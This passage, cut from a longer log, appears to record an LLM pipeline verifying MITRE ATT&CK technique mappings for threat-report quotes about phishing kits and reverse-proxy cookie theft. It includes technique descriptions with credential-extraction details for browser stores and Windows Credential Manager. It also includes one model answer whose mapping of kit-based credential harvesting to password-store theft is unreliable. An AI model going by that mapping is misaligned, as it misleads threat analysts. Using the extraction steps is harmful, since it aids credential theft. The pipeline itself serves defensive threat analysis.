(ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Cybercriminals will target users from every conceivable method possible, leveraging their email scams, SMS phishing (SMiShing), typo-squatting, domain-squatting, and malvertising in an attempt to collect sensitive information from the user or worse.\n\nCANDIDATE 8\nATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site.\n\nCANDIDATE 9\nATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"\",\n \"rationale\": \"The quote describes phishing kits as tools for stealing credentials and sensitive data but does not state the specific adversary action of sending messages or executing code required to support any candidate technique.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3757, + "completion_tokens": 70, + "total_tokens": 3827 + } + }, + "evidence_sha256": "a05aaf6dabbd4d36f4a83d7496aef996b34346cafbb0fd309203050ed4266ba3" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3554.9, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: kits\nAction: harvest\nObject: credentials\n\nSOURCE QUOTE\nAt their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.\n\nCANDIDATE 0\nATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: Ares Stealer collects detailed system information and harvests credentials for numerous applications including FTP clients, VPN clients, web browsers, instant messengers, and email clients.\n\nCANDIDATE 1\nATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.\n\nCANDIDATE 2\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: | https://storage[.]cloud[.]google[.]com/dhngw6p6rwrwnuv6vnuse.appspot.com/index.html#username@organizationname.tld | Microsoft Credential Theft Phishing URL |\n\nCANDIDATE 3\nATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1552 Unsecured Credentials\nDescription: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Skimming is a technique by which cybercriminals steal credit card information from e-commerce sites and other internet payment portals.\n\nCANDIDATE 7\nATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS\nLabeled report example: | T1503 | Credentials from Web Browsers |\n\nCANDIDATE 8\nATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1555.004 Windows Credential Manager\nDescription: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.\nTactics: credential access\nPlatforms: Windows", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"selected_index\": 0, \"support\": \"supported\", \"evidence_quote\": \"these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords\", \"rationale\": \"The quote describes kits stealing usernames and passwords, which aligns with T1555 Credentials from Password Stores as it involves obtaining stored credentials.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2787, + "completion_tokens": 76, + "total_tokens": 2863 + } + }, + "evidence_sha256": "5dc5cf305f49878c012da9979e06febb66899017bce8e476fc5d6a8cc54863e4" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3484.1, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: threat actor\nAction: capture\nObject: usernames and passwords... session cookie\nTool: reverse proxy\nTarget: session\n\nSOURCE QUOTE\nAnother advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\n\nCANDIDATE 0\nATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: | T1539 | Steal Web Session Cookie |\n\nCANDIDATE 1\nATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.\n\nCANDIDATE 2\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |\n\nCANDIDATE 3\nATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*\n\nCANDIDATE 4\nATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 5\nATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\n\nCANDIDATE 6\nATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.\n\nCANDIDATE 7\nATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS\n\nCANDIDATE 8\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"selected_index\": 0, \"support\": \"supported\", \"evidence_quote\": \"capture not only the usernames and passwords in real-time, but also the session cookie\", \"rationale\": \"The quote explicitly states the threat actor captures a session cookie via a reverse proxy, which directly matches the definition of stealing web session cookies.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 3515, + "completion_tokens": 72, + "total_tokens": 3587 + } + }, + "evidence_sha256": "0ec36d392036a59587703b0e24f05b2f47909dccf6a7fa2ae4236a59e49b8545" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3678.4, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Modlishka\nAction: phishing\nTool: Modlishka\nTarget: one site\n\nSOURCE QUOTE\nThis relatively simple tool allows phishing one site at a time\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised 